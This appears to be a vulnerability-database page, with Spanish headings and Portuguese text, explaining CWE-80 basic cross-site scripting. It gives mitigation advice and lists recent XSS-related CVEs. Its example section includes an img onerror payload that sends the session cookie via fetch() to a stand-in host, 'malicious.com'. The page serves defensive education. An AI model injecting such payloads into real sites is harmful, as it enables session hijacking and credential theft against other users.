Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-11745MEDIUMAd Inserter <= 2.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom FieldEPSS 0.2%CVE-2026-5389MEDIUMjusthtml before 1.13.0 XSS via code fence breakoutEPSS 0.2%CVE-2025-25363MEDIUMAn authenticated stored cross-site scripting (XSS) vulnerability in The Plugin People Enterprise Mail Handler for Jira Data Center (JEMH) beEPSS 0.2%CVE-2025-52564MEDIUMChamilo: HTML injection via open parameterEPSS 0.2%CVE-2026-27085LOWWordPress Astra WordPress theme theme <= 4.13.12 - Content Injection vulnerabilityEPSS 0.2%CVE-2025-20342MEDIUMCisco Integrated Management Controller Virtual Keyboard Video Monitor (vKVM) Stored Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2026-28132MEDIUMWordPress WooCommerce Photo Reviews plugin <= 1.4.4 - Content Injection vulnerabilityEPSS 0.2%CVE-2025-8621MEDIUMMosaic Generator <= 1.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'c' ParameterEPSS 0.2%CVE-2023-54409MEDIUMFrappe before 13.46.1 XSS via html2text Weak SanitizationEPSS 0.2%CVE-2025-11823MEDIUMShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution <= 3.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-20170MEDIUMA vulnerability in the Desktop Agent functionality of Cisco Webex Contact Center could have allowed an unauthenticated, remote attacker to cEPSS 0.2%CVE-2026-27578HIGHn8n Vulnerable to Stored XSS via Various NodesEPSS 0.2%CVE-2026-32753HIGHFreeScout: Stored XSS through SVG file upload with filter bypassEPSS 0.2%CVE-2025-27358MEDIUMWordPress Frontend File Manager plugin <= 23.6 - Content Injection vulnerabilityEPSS 0.2%CVE-2025-27514MEDIUMGLPI is susceptible to Stored XSS attack through project's kanbanEPSS 0.2%CVE-2025-11161MEDIUMWPBakery Page Builder <= 8.6.1 - Stored Cross-Site Scripting via vc_custom_heading ShortcodeEPSS 0.2%CVE-2025-11160MEDIUMWPBakery Page Builder <= 8.6.1 - Stored Cross-Site Scripting via Custom JS ModuleEPSS 0.2%CVE-2025-45160MEDIUMA HTML injection vulnerability exists in the file upload functionality of Cacti <= 1.2.29. When a file with an invalid format is uploaded, tEPSS 0.2%CVE-2026-34246MEDIUMCtrlPanel: Stored XSS in Admin Role Management via Unescaped DataTable HTML OutputEPSS 0.2%CVE-2025-13505MEDIUMStored XSS in Datateam's DatactiveEPSS 0.2%